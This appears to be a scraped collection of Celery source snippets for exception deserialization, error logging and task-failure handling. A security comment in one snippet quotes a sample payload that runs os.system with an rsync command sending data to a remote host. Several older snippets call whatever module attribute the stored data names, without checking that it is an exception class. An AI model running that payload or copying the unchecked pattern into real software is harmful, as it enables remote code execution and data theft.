Esempio n. 1
1
 def exception_to_python(self, exc):
     """Convert serialized exception to Python exception."""
     if exc:
         if not isinstance(exc, BaseException):
             exc_module = exc.get('exc_module')
             if exc_module is None:
                 cls = create_exception_cls(from_utf8(exc['exc_type']),
                                            __name__)
             else:
                 exc_module = from_utf8(exc_module)
                 exc_type = from_utf8(exc['exc_type'])
                 try:
                     # Load module and find exception class in that
                     cls = sys.modules[exc_module]
                     # The type can contain qualified name with parent classes
                     for name in exc_type.split('.'):
                         cls = getattr(cls, name)
                 except (KeyError, AttributeError):
                     cls = create_exception_cls(exc_type,
                                                celery.exceptions.__name__)
             exc_msg = exc['exc_message']
             try:
                 if isinstance(exc_msg, (tuple, list)):
                     exc = cls(*exc_msg)
                 else:
                     exc = cls(exc_msg)
             except Exception as err:  # noqa
                 exc = Exception(f'{cls}({exc_msg})')
         if self.serializer in EXCEPTION_ABLE_CODECS:
             exc = get_pickled_exception(exc)
     return exc
Esempio n. 2
0
 def exception_to_python(self, exc):
     """Convert serialized exception to Python exception."""
     if exc:
         if not isinstance(exc, BaseException):
             exc_module = exc.get('exc_module')
             if exc_module is None:
                 cls = create_exception_cls(from_utf8(exc['exc_type']),
                                            __name__)
             else:
                 exc_module = from_utf8(exc_module)
                 exc_type = from_utf8(exc['exc_type'])
                 try:
                     cls = getattr(sys.modules[exc_module], exc_type)
                 except (KeyError, AttributeError):
                     cls = create_exception_cls(exc_type,
                                                celery.exceptions.__name__)
             exc_msg = exc['exc_message']
             try:
                 if isinstance(exc_msg, tuple):
                     exc = cls(*exc_msg)
                 else:
                     exc = cls(exc_msg)
             except Exception as err:  # noqa
                 exc = Exception('{}({})'.format(cls, exc_msg))
         if self.serializer in EXCEPTION_ABLE_CODECS:
             exc = get_pickled_exception(exc)
     return exc
Esempio n. 3
0
    def _log_error(self, task, req, einfo):
        eobj = einfo.exception = get_pickled_exception(einfo.exception)
        exception, traceback, exc_info, sargs, skwargs = (
            safe_repr(eobj),
            safe_str(einfo.traceback),
            einfo.exc_info,
            safe_repr(req.args),
            safe_repr(req.kwargs),
        )
        policy = get_log_policy(task, einfo, eobj)

        context = {
            "hostname": req.hostname,
            "id": req.id,
            "name": task.name,
            "exc": exception,
            "traceback": traceback,
            "args": sargs,
            "kwargs": skwargs,
            "description": policy.description,
            "internal": einfo.internal,
        }

        logger.log(
            policy.severity,
            policy.format.strip(),
            context,
            exc_info=exc_info if policy.traceback else None,
            extra={"data": context},
        )
Esempio n. 4
0
    def _log_error(self, einfo):
        einfo.exception = get_pickled_exception(einfo.exception)
        exception, traceback, exc_info, internal, sargs, skwargs = (
            safe_repr(einfo.exception),
            safe_str(einfo.traceback),
            einfo.exc_info,
            einfo.internal,
            safe_repr(self.args),
            safe_repr(self.kwargs),
        )
        format = self.error_msg
        description = 'raised exception'
        severity = logging.ERROR
        self.send_event(
            'task-failed',
            exception=exception,
            traceback=traceback,
        )

        if internal:
            if isinstance(einfo.exception, MemoryError):
                raise MemoryError('Process got: %s' % (einfo.exception, ))
            if isinstance(einfo.exception, Ignore):
                format = self.ignored_msg
                description = 'ignored'
                severity = logging.INFO
                exc_info = None
                self.acknowledge()
            else:
                format = self.internal_error_msg
                description = 'INTERNAL ERROR'
                severity = logging.CRITICAL

        context = {
            'hostname': self.hostname,
            'id': self.id,
            'name': self.name,
            'exc': exception,
            'traceback': traceback,
            'args': sargs,
            'kwargs': skwargs,
            'description': description,
        }

        logger.log(severity,
                   format.strip(),
                   context,
                   exc_info=exc_info,
                   extra={
                       'data': {
                           'id': self.id,
                           'name': self.name,
                           'args': sargs,
                           'kwargs': skwargs,
                           'hostname': self.hostname,
                           'internal': internal
                       }
                   })

        self.task.send_error_email(context, einfo.exception)
Esempio n. 5
0
    def _log_error(self, task, req, einfo):
        eobj = einfo.exception = get_pickled_exception(einfo.exception)
        exception, traceback, exc_info, sargs, skwargs = (
            safe_repr(eobj),
            safe_str(einfo.traceback),
            einfo.exc_info,
            safe_repr(req.args),
            safe_repr(req.kwargs),
        )
        policy = get_log_policy(task, einfo, eobj)

        context = {
            'hostname': req.hostname,
            'id': req.id,
            'name': task.name,
            'exc': exception,
            'traceback': traceback,
            'args': sargs,
            'kwargs': skwargs,
            'description': policy.description,
            'internal': einfo.internal,
        }

        logger.log(policy.severity, policy.format.strip(), context,
                   exc_info=exc_info if policy.traceback else None,
                   extra={'data': context})
Esempio n. 6
0
    def _log_error(self, task, req, einfo):
        eobj = einfo.exception = get_pickled_exception(einfo.exception)
        exception, traceback, exc_info, sargs, skwargs = (
            safe_repr(eobj),
            safe_str(einfo.traceback),
            einfo.exc_info,
            safe_repr(req.args),
            safe_repr(req.kwargs),
        )
        policy = get_log_policy(task, einfo, eobj)

        context = {
            "hostname": req.hostname,
            "id": req.id,
            "name": get_task_name(req, task.name),
            "exc": exception,
            "traceback": traceback,
            "args": sargs,
            "kwargs": skwargs,
            "description": policy.description,
            "internal": einfo.internal,
        }

        logger.log(
            policy.severity,
            policy.format.strip(),
            context,
            exc_info=exc_info if policy.traceback else None,
            extra={"data": context},
        )
Esempio n. 7
0
    def _log_error(self, task, req, einfo):
        eobj = einfo.exception = get_pickled_exception(einfo.exception)
        exception, traceback, exc_info, sargs, skwargs = (
            safe_repr(eobj),
            safe_str(einfo.traceback),
            einfo.exc_info,
            safe_repr(req.args),
            safe_repr(req.kwargs),
        )
        policy = get_log_policy(task, einfo, eobj)

        context = {
            'hostname': req.hostname,
            'id': req.id,
            'name': task.name,
            'exc': exception,
            'traceback': traceback,
            'args': sargs,
            'kwargs': skwargs,
            'description': policy.description,
            'internal': einfo.internal,
        }

        logger.log(policy.severity,
                   policy.format.strip(),
                   context,
                   exc_info=exc_info if policy.traceback else None,
                   extra={'data': context})

        if policy.mail:
            task.send_error_email(context, einfo.exception)
Esempio n. 8
0
    def _log_error(self, einfo, send_failed_event=True):
        einfo.exception = get_pickled_exception(einfo.exception)
        exception, traceback, exc_info, internal, sargs, skwargs = (
            safe_repr(einfo.exception),
            safe_str(einfo.traceback),
            einfo.exc_info,
            einfo.internal,
            safe_repr(self.args),
            safe_repr(self.kwargs),
        )
        format = self.error_msg
        description = 'raised exception'
        severity = logging.ERROR
        if send_failed_event:
            self.send_event(
                'task-failed', exception=exception, traceback=traceback,
            )

        if internal:
            if isinstance(einfo.exception, MemoryError):
                raise MemoryError('Process got: %s' % (einfo.exception, ))
            elif isinstance(einfo.exception, Reject):
                format = self.rejected_msg
                description = 'rejected'
                severity = logging.WARN
                exc_info = einfo
                self.reject(requeue=einfo.exception.requeue)
            elif isinstance(einfo.exception, Ignore):
                format = self.ignored_msg
                description = 'ignored'
                severity = logging.INFO
                exc_info = None
                self.acknowledge()
            else:
                format = self.internal_error_msg
                description = 'INTERNAL ERROR'
                severity = logging.CRITICAL

        context = {
            'hostname': self.hostname,
            'id': self.id,
            'name': self.name,
            'exc': exception,
            'traceback': traceback,
            'args': sargs,
            'kwargs': skwargs,
            'description': description,
        }

        logger.log(severity, format.strip(), context,
                   exc_info=exc_info,
                   extra={'data': {'id': self.id,
                                   'name': self.name,
                                   'args': sargs,
                                   'kwargs': skwargs,
                                   'hostname': self.hostname,
                                   'internal': internal}})

        self.task.send_error_email(context, einfo.exception)
Esempio n. 9
0
 def exception_to_python(self, exc):
     """Convert serialized exception to Python exception."""
     if self.serializer in EXCEPTION_ABLE_CODECS:
         return get_pickled_exception(exc)
     elif not isinstance(exc, BaseException):
         return create_exception_cls(from_utf8(exc['exc_type']),
                                     __name__)(exc['exc_message'])
     return exc
Esempio n. 10
0
 def exception_to_python(self, exc):
     """Convert serialized exception to Python exception."""
     if not isinstance(exc, BaseException):
         exc = create_exception_cls(
             from_utf8(exc['exc_type']), __name__)(exc['exc_message'])
     if self.serializer in EXCEPTION_ABLE_CODECS:
         exc = get_pickled_exception(exc)
     return exc
Esempio n. 11
0
    def on_failure(self, exc_info, send_failed_event=True, return_ok=False):
        """Handler called if the task raised an exception."""
        task_ready(self)
        if isinstance(exc_info.exception, MemoryError):
            raise MemoryError("Process got: %s" % (exc_info.exception, ))
        elif isinstance(exc_info.exception, Reject):
            return self.reject(requeue=exc_info.exception.requeue)
        elif isinstance(exc_info.exception, Ignore):
            return self.acknowledge()

        exc = exc_info.exception

        if isinstance(exc, Retry):
            return self.on_retry(exc_info)

        # (acks_late) acknowledge after result stored.
        requeue = False
        if self.task.acks_late:
            reject = self.task.reject_on_worker_lost and isinstance(
                exc, WorkerLostError)
            ack = self.task.acks_on_failure_or_timeout
            if reject:
                requeue = True
                self.reject(requeue=requeue)
                send_failed_event = False
            elif ack:
                self.acknowledge()
            else:
                # supporting the behaviour where a task failed and
                # need to be removed from prefetched local queue
                self.reject(requeue=False)

        # These are special cases where the process would not have had time
        # to write the result.
        if isinstance(exc, Terminated):
            self._announce_revoked("terminated", True, string(exc), False)
            send_failed_event = False  # already sent revoked event
        elif not requeue and (isinstance(exc, WorkerLostError)
                              or not return_ok):
            # only mark as failure if task has not been requeued
            self.task.backend.mark_as_failure(
                self.id,
                exc,
                request=self._context,
                store_result=self.store_errors,
            )

        if send_failed_event:
            self.send_event(
                "task-failed",
                exception=safe_repr(get_pickled_exception(exc_info.exception)),
                traceback=exc_info.traceback,
            )

        if not return_ok:
            error("Task handler raised error: %r",
                  exc,
                  exc_info=exc_info.exc_info)
Esempio n. 12
0
    def on_failure(self, exc_info, send_failed_event=True, return_ok=False):
        """Handler called if the task raised an exception."""
        task_ready(self)
        if isinstance(exc_info.exception, MemoryError):
            raise MemoryError('Process got: %s' % (exc_info.exception,))
        elif isinstance(exc_info.exception, Reject):
            return self.reject(requeue=exc_info.exception.requeue)
        elif isinstance(exc_info.exception, Ignore):
            return self.acknowledge()

        exc = exc_info.exception

        if isinstance(exc, Retry):
            return self.on_retry(exc_info)

        # These are special cases where the process wouldn't've had
        # time to write the result.
        if isinstance(exc, Terminated):
            self._announce_revoked(
                'terminated', True, string(exc), False)
            send_failed_event = False  # already sent revoked event
        elif isinstance(exc, WorkerLostError) or not return_ok:
            self.task.backend.mark_as_failure(
                self.id, exc, request=self._context,
                store_result=self.store_errors,
            )
        # (acks_late) acknowledge after result stored.
        if self.task.acks_late:
            reject = (
                self.task.reject_on_worker_lost and
                isinstance(exc, WorkerLostError)
            )
            ack = self.task.acks_on_failure_or_timeout
            if reject:
                requeue = not self.delivery_info.get('redelivered')
                self.reject(requeue=requeue)
                send_failed_event = False
            elif ack:
                self.acknowledge()

        if send_failed_event:
            self.send_event(
                'task-failed',
                exception=safe_repr(get_pickled_exception(exc_info.exception)),
                traceback=exc_info.traceback,
            )

        if not return_ok:
            error('Task handler raised error: %r', exc,
                  exc_info=exc_info.exc_info)
Esempio n. 13
0
    def on_failure(self, exc_info, send_failed_event=True, return_ok=False):
        """Handler called if the task raised an exception."""
        task_ready(self)
        if isinstance(exc_info.exception, MemoryError):
            raise MemoryError('Process got: %s' % (exc_info.exception, ))
        elif isinstance(exc_info.exception, Reject):
            return self.reject(requeue=exc_info.exception.requeue)
        elif isinstance(exc_info.exception, Ignore):
            return self.acknowledge()

        exc = exc_info.exception

        if isinstance(exc, Retry):
            return self.on_retry(exc_info)

        # These are special cases where the process wouldn't've had
        # time to write the result.
        if isinstance(exc, Terminated):
            self._announce_revoked('terminated', True, string(exc), False)
            send_failed_event = False  # already sent revoked event
        elif isinstance(exc, WorkerLostError) or not return_ok:
            self.task.backend.mark_as_failure(
                self.id,
                exc,
                request=self._context,
                store_result=self.store_errors,
            )
        # (acks_late) acknowledge after result stored.
        if self.task.acks_late:
            reject = (self.task.reject_on_worker_lost
                      and isinstance(exc, WorkerLostError))
            ack = self.task.acks_on_failure_or_timeout
            if reject:
                requeue = not self.delivery_info.get('redelivered')
                self.reject(requeue=requeue)
                send_failed_event = False
            elif ack:
                self.acknowledge()

        if send_failed_event:
            self.send_event(
                'task-failed',
                exception=safe_repr(get_pickled_exception(exc_info.exception)),
                traceback=exc_info.traceback,
            )

        if not return_ok:
            error('Task handler raised error: %r',
                  exc,
                  exc_info=exc_info.exc_info)
Esempio n. 14
0
File: job.py Progetto: ronnix/celery
    def _log_error(self, einfo):
        einfo.exception = get_pickled_exception(einfo.exception)
        exception, traceback, exc_info, internal, sargs, skwargs = (
            safe_repr(einfo.exception),
            safe_str(einfo.traceback),
            einfo.exc_info,
            einfo.internal,
            safe_repr(self.args),
            safe_repr(self.kwargs),
        )
        format = self.error_msg
        description = "raised exception"
        severity = logging.ERROR
        self.send_event("task-failed", exception=exception, traceback=traceback)

        if internal:
            format = self.internal_error_msg
            description = "INTERNAL ERROR"
            severity = logging.CRITICAL

        context = {
            "hostname": self.hostname,
            "id": self.id,
            "name": self.name,
            "exc": exception,
            "traceback": traceback,
            "args": sargs,
            "kwargs": skwargs,
            "description": description,
        }

        logger.log(
            severity,
            format.strip(),
            context,
            exc_info=exc_info,
            extra={
                "data": {
                    "id": self.id,
                    "name": self.name,
                    "args": sargs,
                    "kwargs": skwargs,
                    "hostname": self.hostname,
                    "internal": internal,
                }
            },
        )

        self.task.send_error_email(context, einfo.exception)
Esempio n. 15
0
    def _log_error(self, einfo):
        einfo.exception = get_pickled_exception(einfo.exception)
        exception, traceback, exc_info, internal, sargs, skwargs = (
            safe_repr(einfo.exception),
            safe_str(einfo.traceback),
            einfo.exc_info,
            einfo.internal,
            safe_repr(self.args),
            safe_repr(self.kwargs),
        )
        format = self.error_msg
        description = 'raised exception'
        severity = logging.ERROR
        self.send_event('task-failed',
                        exception=exception,
                        traceback=traceback)

        if internal:
            format = self.internal_error_msg
            description = 'INTERNAL ERROR'
            severity = logging.CRITICAL

        context = {
            'hostname': self.hostname,
            'id': self.id,
            'name': self.name,
            'exc': exception,
            'traceback': traceback,
            'args': sargs,
            'kwargs': skwargs,
            'description': description,
        }

        logger.log(severity,
                   format.strip(),
                   context,
                   exc_info=exc_info,
                   extra={
                       'data': {
                           'id': self.id,
                           'name': self.name,
                           'args': sargs,
                           'kwargs': skwargs,
                           'hostname': self.hostname,
                           'internal': internal
                       }
                   })

        self.task.send_error_email(context, einfo.exception)
Esempio n. 16
0
 def exception_to_python(self, exc):
     """Convert serialized exception to Python exception."""
     if exc:
         if not isinstance(exc, BaseException):
             exc_module = exc.get('exc_module')
             if exc_module is None:
                 cls = create_exception_cls(
                     from_utf8(exc['exc_type']), __name__)
             else:
                 exc_module = from_utf8(exc_module)
                 exc_type = from_utf8(exc['exc_type'])
                 cls = getattr(sys.modules[exc_module], exc_type)
             exc_msg = exc['exc_message']
             exc = cls(*exc_msg if isinstance(exc_msg, tuple) else exc_msg)
         if self.serializer in EXCEPTION_ABLE_CODECS:
             exc = get_pickled_exception(exc)
     return exc
Esempio n. 17
0
 def exception_to_python(self, exc):
     """Convert serialized exception to Python exception."""
     if exc:
         if not isinstance(exc, BaseException):
             exc_module = exc.get('exc_module')
             if exc_module is None:
                 cls = create_exception_cls(from_utf8(exc['exc_type']),
                                            __name__)
             else:
                 exc_module = from_utf8(exc_module)
                 exc_type = from_utf8(exc['exc_type'])
                 cls = getattr(sys.modules[exc_module], exc_type)
             exc_msg = exc['exc_message']
             exc = cls(*exc_msg if isinstance(exc_msg, tuple) else exc_msg)
         if self.serializer in EXCEPTION_ABLE_CODECS:
             exc = get_pickled_exception(exc)
     return exc
Esempio n. 18
0
    def _log_error(self, einfo):
        einfo.exception = get_pickled_exception(einfo.exception)
        exception, traceback, exc_info, internal, sargs, skwargs = (
            safe_repr(einfo.exception),
            safe_str(einfo.traceback),
            einfo.exc_info,
            einfo.internal,
            safe_repr(self.args),
            safe_repr(self.kwargs),
        )
        format = self.error_msg
        description = 'raised exception'
        severity = logging.ERROR
        self.send_event('task-failed',
                         exception=exception,
                         traceback=traceback)

        if internal:
            format = self.internal_error_msg
            description = 'INTERNAL ERROR'
            severity = logging.CRITICAL

        context = {
            'hostname': self.hostname,
            'id': self.id,
            'name': self.name,
            'exc': exception,
            'traceback': traceback,
            'args': sargs,
            'kwargs': skwargs,
            'description': description,
        }

        logger.log(severity, format.strip(), context,
                   exc_info=exc_info,
                   extra={'data': {'id': self.id,
                                   'name': self.name,
                                   'args': sargs,
                                   'kwargs': skwargs,
                                   'hostname': self.hostname,
                                   'internal': internal}})

        self.task.send_error_email(context, einfo.exception)
Esempio n. 19
0
    def on_failure(self, exc_info, send_failed_event=True, return_ok=False):
        """Handler called if the task raised an exception."""
        task_ready(self)

        if isinstance(exc_info.exception, MemoryError):
            raise MemoryError("Process got: %s" % (exc_info.exception,))
        elif isinstance(exc_info.exception, Reject):
            return self.reject(requeue=exc_info.exception.requeue)
        elif isinstance(exc_info.exception, Ignore):
            return self.acknowledge()

        exc = exc_info.exception

        if isinstance(exc, Retry):
            return self.on_retry(exc_info)

        # These are special cases where the process would not have had
        # time to write the result.
        if self.store_errors:
            if isinstance(exc, Terminated):
                self._announce_revoked("terminated", True, string(exc), False)
                send_failed_event = False  # already sent revoked event
            elif isinstance(exc, WorkerLostError) or not return_ok:
                self.task.backend.mark_as_failure(self.id, exc, request=self)
        # (acks_late) acknowledge after result stored.
        if self.task.acks_late:
            self.acknowledge()

        if send_failed_event:
            self.send_event(
                "task-failed",
                exception=safe_repr(get_pickled_exception(exc_info.exception)),
                traceback=exc_info.traceback,
            )

        if not return_ok:
            error("Task handler raised error: %r", exc, exc_info=exc_info.exc_info)
Esempio n. 20
0
    def _log_error(self, einfo, send_failed_event=True):
        einfo.exception = get_pickled_exception(einfo.exception)
        eobj = einfo.exception
        exception, traceback, exc_info, internal, sargs, skwargs = (
            safe_repr(eobj),
            safe_str(einfo.traceback),
            einfo.exc_info,
            einfo.internal,
            safe_repr(self.args),
            safe_repr(self.kwargs),
        )
        task = self.task
        if task.throws and isinstance(eobj, task.throws):
            do_send_mail, severity, exc_info, description = (
                False,
                logging.INFO,
                None,
                'raised expected',
            )
        else:
            do_send_mail, severity, description = (
                True,
                logging.ERROR,
                'raised unexpected',
            )

        format = self.error_msg
        if internal:
            if isinstance(einfo.exception, MemoryError):
                raise MemoryError('Process got: %s' % (einfo.exception, ))
            elif isinstance(einfo.exception, Reject):
                format = self.rejected_msg
                description = 'rejected'
                severity = logging.WARN
                send_failed_event = False
                self.reject(requeue=einfo.exception.requeue)
            elif isinstance(einfo.exception, Ignore):
                format = self.ignored_msg
                description = 'ignored'
                severity = logging.INFO
                exc_info = None
                send_failed_event = False
                self.acknowledge()
            else:
                format = self.internal_error_msg
                description = 'INTERNAL ERROR'
                severity = logging.CRITICAL

        if send_failed_event:
            self.send_event(
                'task-failed',
                exception=exception,
                traceback=traceback,
            )

        context = {
            'hostname': self.hostname,
            'id': self.id,
            'name': self.name,
            'exc': exception,
            'traceback': traceback,
            'args': sargs,
            'kwargs': skwargs,
            'description': description,
        }

        logger.log(severity,
                   format.strip(),
                   context,
                   exc_info=exc_info,
                   extra={
                       'data': {
                           'id': self.id,
                           'name': self.name,
                           'args': sargs,
                           'kwargs': skwargs,
                           'hostname': self.hostname,
                           'internal': internal
                       }
                   })

        if do_send_mail:
            task.send_error_email(context, einfo.exception)
Esempio n. 21
0
 def exception_to_python(self, exc):
     """Convert serialized exception to Python exception."""
     if app_or_default().conf["CELERY_RESULT_SERIALIZER"] in ("pickle", "yaml"):
         return get_pickled_exception(exc)
     return create_exception_cls(exc["exc_type"].encode("utf-8"), sys.modules[__name__])
Esempio n. 22
0
    def on_failure(self, exc_info, send_failed_event=True, return_ok=False):
        """Handler called if the task raised an exception."""
        task_ready(self)
        exc = exc_info.exception

        is_terminated = isinstance(exc, Terminated)
        if is_terminated:
            # If the task was terminated and the task was not cancelled due
            # to a connection loss, it is revoked.

            # We always cancel the tasks inside the master process.
            # If the request was cancelled, it was not revoked and there's
            # nothing to be done.
            # According to the comment below, we need to check if the task
            # is already revoked and if it wasn't, we should announce that
            # it was.
            if not self._already_cancelled and not self._already_revoked:
                # This is a special case where the process
                # would not have had time to write the result.
                self._announce_revoked('terminated', True, str(exc), False)
            return
        elif isinstance(exc, MemoryError):
            raise MemoryError(f'Process got: {exc}')
        elif isinstance(exc, Reject):
            return self.reject(requeue=exc.requeue)
        elif isinstance(exc, Ignore):
            return self.acknowledge()
        elif isinstance(exc, Retry):
            return self.on_retry(exc_info)

        # (acks_late) acknowledge after result stored.
        requeue = False
        is_worker_lost = isinstance(exc, WorkerLostError)
        if self.task.acks_late:
            reject = (self.task.reject_on_worker_lost and is_worker_lost)
            ack = self.task.acks_on_failure_or_timeout
            if reject:
                requeue = True
                self.reject(requeue=requeue)
                send_failed_event = False
            elif ack:
                self.acknowledge()
            else:
                # supporting the behaviour where a task failed and
                # need to be removed from prefetched local queue
                self.reject(requeue=False)

        # This is a special case where the process would not have had time
        # to write the result.
        if not requeue and (is_worker_lost or not return_ok):
            # only mark as failure if task has not been requeued
            self.task.backend.mark_as_failure(
                self.id,
                exc,
                request=self._context,
                store_result=self.store_errors,
            )

            signals.task_failure.send(sender=self.task,
                                      task_id=self.id,
                                      exception=exc,
                                      args=self.args,
                                      kwargs=self.kwargs,
                                      traceback=exc_info.traceback,
                                      einfo=exc_info)

        if send_failed_event:
            self.send_event(
                'task-failed',
                exception=safe_repr(get_pickled_exception(exc_info.exception)),
                traceback=exc_info.traceback,
            )

        if not return_ok:
            error('Task handler raised error: %r',
                  exc,
                  exc_info=exc_info.exc_info)
Esempio n. 23
0
 def exception_to_python(self, exc):
     """Convert serialized exception to Python exception."""
     return get_pickled_exception(exc)
Esempio n. 24
0
File: base.py Progetto: WoLpH/celery
 def exception_to_python(self, exc):
     """Convert serialized exception to Python exception."""
     if (self.app.conf["CELERY_RESULT_SERIALIZER"] in ("pickle", "yaml")):
         return get_pickled_exception(exc)
     return create_exception_cls(exc["exc_type"].encode("utf-8"),
                                 sys.modules[__name__])
Esempio n. 25
0
 def exception_to_python(self, exc):
     """Convert serialized exception to Python exception."""
     if self.serializer in EXCEPTION_ABLE_CODECS:
         return get_pickled_exception(exc)
     return create_exception_cls(from_utf8(exc['exc_type']),
                                 sys.modules[__name__])(exc['exc_message'])
Esempio n. 26
0
    def _log_error(self, einfo, send_failed_event=True):
        einfo.exception = get_pickled_exception(einfo.exception)
        eobj = einfo.exception
        exception, traceback, exc_info, internal, sargs, skwargs = (
            safe_repr(eobj),
            safe_str(einfo.traceback),
            einfo.exc_info,
            einfo.internal,
            safe_repr(self.args),
            safe_repr(self.kwargs),
        )
        task = self.task
        if task.throws and isinstance(eobj, task.throws):
            severity, exc_info = logging.INFO, None
            description = "raised expected"
        else:
            severity = logging.ERROR
            description = "raised unexpected"
        format = self.error_msg
        if send_failed_event:
            self.send_event("task-failed", exception=exception, traceback=traceback)

        if internal:
            if isinstance(einfo.exception, MemoryError):
                raise MemoryError("Process got: %s" % (einfo.exception,))
            elif isinstance(einfo.exception, Reject):
                format = self.rejected_msg
                description = "rejected"
                severity = logging.WARN
                exc_info = einfo
                self.reject(requeue=einfo.exception.requeue)
            elif isinstance(einfo.exception, Ignore):
                format = self.ignored_msg
                description = "ignored"
                severity = logging.INFO
                exc_info = None
                self.acknowledge()
            else:
                format = self.internal_error_msg
                description = "INTERNAL ERROR"
                severity = logging.CRITICAL

        context = {
            "hostname": self.hostname,
            "id": self.id,
            "name": self.name,
            "exc": exception,
            "traceback": traceback,
            "args": sargs,
            "kwargs": skwargs,
            "description": description,
        }

        logger.log(
            severity,
            format.strip(),
            context,
            exc_info=exc_info,
            extra={
                "data": {
                    "id": self.id,
                    "name": self.name,
                    "args": sargs,
                    "kwargs": skwargs,
                    "hostname": self.hostname,
                    "internal": internal,
                }
            },
        )

        task.send_error_email(context, einfo.exception)
Esempio n. 27
0
    def exception_to_python(self, exc):
        """Convert serialized exception to Python exception."""
        if not exc:
            return None
        elif isinstance(exc, BaseException):
            if self.serializer in EXCEPTION_ABLE_CODECS:
                exc = get_pickled_exception(exc)
            return exc
        elif not isinstance(exc, dict):
            try:
                exc = dict(exc)
            except TypeError as e:
                raise TypeError(f"If the stored exception isn't an "
                                f"instance of "
                                f"BaseException, it must be a dictionary.\n"
                                f"Instead got: {exc}") from e

        exc_module = exc.get('exc_module')
        try:
            exc_type = exc['exc_type']
        except KeyError as e:
            raise ValueError("Exception information must include "
                             "the exception type") from e
        if exc_module is None:
            cls = create_exception_cls(
                exc_type, __name__)
        else:
            try:
                # Load module and find exception class in that
                cls = sys.modules[exc_module]
                # The type can contain qualified name with parent classes
                for name in exc_type.split('.'):
                    cls = getattr(cls, name)
            except (KeyError, AttributeError):
                cls = create_exception_cls(exc_type,
                                           celery.exceptions.__name__)
        exc_msg = exc.get('exc_message', '')

        # If the recreated exception type isn't indeed an exception,
        # this is a security issue. Without the condition below, an attacker
        # could exploit a stored command vulnerability to execute arbitrary
        # python code such as:
        # os.system("rsync /data [email protected]:~/data")
        # The attacker sets the task's result to a failure in the result
        # backend with the os as the module, the system function as the
        # exception type and the payload
        # rsync /data [email protected]:~/data
        # as the exception arguments like so:
        # {
        #   "exc_module": "os",
        #   "exc_type": "system",
        #   "exc_message": "rsync /data [email protected]:~/data"
        # }
        if not isinstance(cls, type) or not issubclass(cls, BaseException):
            fake_exc_type = exc_type if exc_module is None else f'{exc_module}.{exc_type}'
            raise SecurityError(
                f"Expected an exception class, got {fake_exc_type} with payload {exc_msg}")

        # XXX: Without verifying `cls` is actually an exception class,
        #      an attacker could execute arbitrary python code.
        #      cls could be anything, even eval().
        try:
            if isinstance(exc_msg, (tuple, list)):
                exc = cls(*exc_msg)
            else:
                exc = cls(exc_msg)
        except Exception as err:  # noqa
            exc = Exception(f'{cls}({exc_msg})')

        return exc
Esempio n. 28
0
 def exception_to_python(self, exc):
     """Convert serialized exception to Python exception."""
     if self.serializer in EXCEPTION_ABLE_CODECS:
         return get_pickled_exception(exc)
     return create_exception_cls(from_utf8(exc['exc_type']),
                                 sys.modules[__name__])(exc['exc_message'])
Esempio n. 29
0
 def exception_to_python(self, exc):
     """Convert serialized exception to Python exception."""
     return get_pickled_exception(exc)
Esempio n. 30
0
    def on_failure(self, exc_info, send_failed_event=True, return_ok=False):
        """Handler called if the task raised an exception."""
        task_ready(self)
        exc = exc_info.exception

        is_terminated = isinstance(exc, Terminated)
        if is_terminated:
            # If the message no longer has a connection and the worker
            # is terminated, we aborted it.
            # Otherwise, it is revoked.
            if self.message.channel.connection and not self._already_revoked:
                # This is a special case where the process
                # would not have had time to write the result.
                self._announce_revoked('terminated', True, str(exc), False)
            elif not self._already_cancelled:
                self._announce_cancelled()
            return
        elif isinstance(exc, MemoryError):
            raise MemoryError(f'Process got: {exc}')
        elif isinstance(exc, Reject):
            return self.reject(requeue=exc.requeue)
        elif isinstance(exc, Ignore):
            return self.acknowledge()
        elif isinstance(exc, Retry):
            return self.on_retry(exc_info)

        # (acks_late) acknowledge after result stored.
        requeue = False
        is_worker_lost = isinstance(exc, WorkerLostError)
        if self.task.acks_late:
            reject = (self.task.reject_on_worker_lost and is_worker_lost)
            ack = self.task.acks_on_failure_or_timeout
            if reject:
                requeue = True
                self.reject(requeue=requeue)
                send_failed_event = False
            elif ack:
                self.acknowledge()
            else:
                # supporting the behaviour where a task failed and
                # need to be removed from prefetched local queue
                self.reject(requeue=False)

        # This is a special case where the process would not have had time
        # to write the result.
        if not requeue and (is_worker_lost or not return_ok):
            # only mark as failure if task has not been requeued
            self.task.backend.mark_as_failure(
                self.id,
                exc,
                request=self._context,
                store_result=self.store_errors,
            )

        if send_failed_event:
            self.send_event(
                'task-failed',
                exception=safe_repr(get_pickled_exception(exc_info.exception)),
                traceback=exc_info.traceback,
            )

        if not return_ok:
            error('Task handler raised error: %r',
                  exc,
                  exc_info=exc_info.exc_info)